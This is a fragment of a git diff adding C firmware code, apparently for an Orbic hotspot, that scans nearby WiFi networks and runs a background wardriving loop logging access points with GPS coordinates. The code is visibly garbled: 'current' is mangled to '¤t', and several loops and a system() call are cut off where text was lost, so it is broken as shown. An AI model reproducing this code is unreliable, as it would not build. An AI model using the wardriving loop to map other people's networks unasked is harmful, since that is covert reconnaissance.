sizeof(buf), fp)) { + int len = strlen(buf); + if (total + len < max_len - 1) { + strcpy(out + total, buf); + total += len; + } + } + out[total] = '\0'; + pclose(fp); +} + +// Helper: skip leading whitespace +static const char* skip_whitespace(const char *p) { + while (*p == ' ' || *p == '\t') p++; + return p; +} + +static int parse_scan(const char *scan_out, APInfo *aps, int max_aps) { + int count = 0; + const char *p = scan_out; + APInfo current; + memset(¤t, 0, sizeof(current)); + + while (*p && count < max_aps) { + // Skip leading whitespace on each line + const char *line_start = skip_whitespace(p); + + if (strncmp(p, "BSS ", 4) == 0) { + if (current.bssid[0]) { + aps[count++] = current; + memset(¤t, 0, sizeof(current)); + } + p += 4; + int i = 0; + while (*p && *p != '(' && *p != '\n' && i < 17) { + current.bssid[i++] = *p++; + } + current.bssid[i] = '\0'; + strcpy(current.enc, "OPEN"); + } + else if (strncmp(line_start, "SSID: ", 6) == 0) { + // Parse SSID (handles leading whitespace) + const char *ssid_start = line_start + 6; + int i = 0; + while (*ssid_start && *ssid_start != '\n' && i < 63) { + current.ssid[i++] = *ssid_start++; + } + current.ssid[i] = '\0'; + } + else if (strncmp(line_start, "signal: ", 8) == 0) { + current.rssi = atoi(line_start + 8); + } + else if (strncmp(line_start, "WPA:", 4) == 0 || strncmp(line_start, "RSN:", 4) == 0) { + strcpy(current.enc, "WPA"); + } + else if (strncmp(line_start, "WEP:", 4) == 0) { + strcpy(current.enc, "WEP"); + } + while (*p && *p != '\n') p++; + if (*p == '\n') p++; + } + if (current.bssid[0] && count < max_aps) { + aps[count++] = current; + } + return count; +} + +int wifi_scan_json(char *buffer, int max_len) { + + char scan_out[16384]; + + // Ensure wlan1 is up for scanning + system("ifconfig wlan1 up"); + + // Scan on wlan1 + wifi_run_cmd("iw dev wlan1 scan", scan_out, sizeof(scan_out)); + + APInfo aps[50]; + int count = parse_scan(scan_out, aps, 50); + + int offset = snprintf(buffer, max_len, "["); + for(int i=0; i= max_len - 10) break; + } + snprintf(buffer + offset, max_len - offset, "]"); + return count; +} + +int wifi_log_kml(const char *lat, const char *lon) { + + char scan_out[8192]; + system("ifconfig wlan1 up"); + wifi_run_cmd("iw dev wlan1 scan", scan_out, sizeof(scan_out)); + APInfo aps[50]; + int count = parse_scan(scan_out, aps, 50); + + // Append to current session file + FILE *fp = fopen(current_wardrive_file, "a"); + if (!fp) return 0; + + // Get current timestamp + time_t now = time(NULL); + struct tm *t = localtime(&now); + char timestamp[32]; + strftime(timestamp, sizeof(timestamp), "%Y-%m-%d %H:%M:%S", t); + + int new_count = 0; + for(int i=0; i> /tmp/wardrive.log"); + system("ifconfig wlan1 up"); + + // Start new session (creates timestamped file, clears duplicates) + wifi_new_session(); + + while(1) { + // Get current GPS coordinates + char lat[32], lon[32]; + gps_update(); + if (gps_get_coords(lat, lon, sizeof(lat)) < 0) { + // No GPS fix - use 0,0 + strcpy(lat, "0"); + strcpy(lon, "0"); + } + wifi_log_kml(lat, lon); + sleep(5); + } +} + +void wifi_start_wardrive() { + system("/data/orbic_app --wardrive > /dev/null 2>&1 &"); +} + +void wifi_stop_wardrive() { + system("pkill -f 'orbic_app --wardrive'"); +} + +int wifi_is_wardriving() { + int ret = system("pgrep -f 'orbic_app --wardrive' > /dev/null"); + return (ret == 0); +} diff --git a/orbic_fw_c/wifi.h b/orbic_fw_c/wifi.h new file mode 100644 index 00000000..5f9f7603 --- /dev/null +++ b/orbic_fw_c/wifi.h @@ -0,0 +1,28 @@ +#ifndef WIFI_H +#define WIFI_H + +// Perform a WiFi Scan and return JSON array of networks +int wifi_scan_json(char *buffer, int max_len); + +// Log scan to CSV (Single Shot) +int wifi_log_kml(const char *lat, const char *lon); + +// Start Background Loop (Spawns process) +void wifi_start_wardrive(); + +// Stop Background Loop (Kills process) +void wifi_stop_wardrive(); + +// Check if running +int wifi_is_wardriving(); + +// Main loop entry point (called by main --wardrive) +void wifi_wardrive_process(); + +// Clear seen BSSIDs (call when starting new wardrive session) +void wifi_clear_seen_bssids(); + +// Start new wardrive session (creates timestamped file) +void wifi_new_session(); + +#endif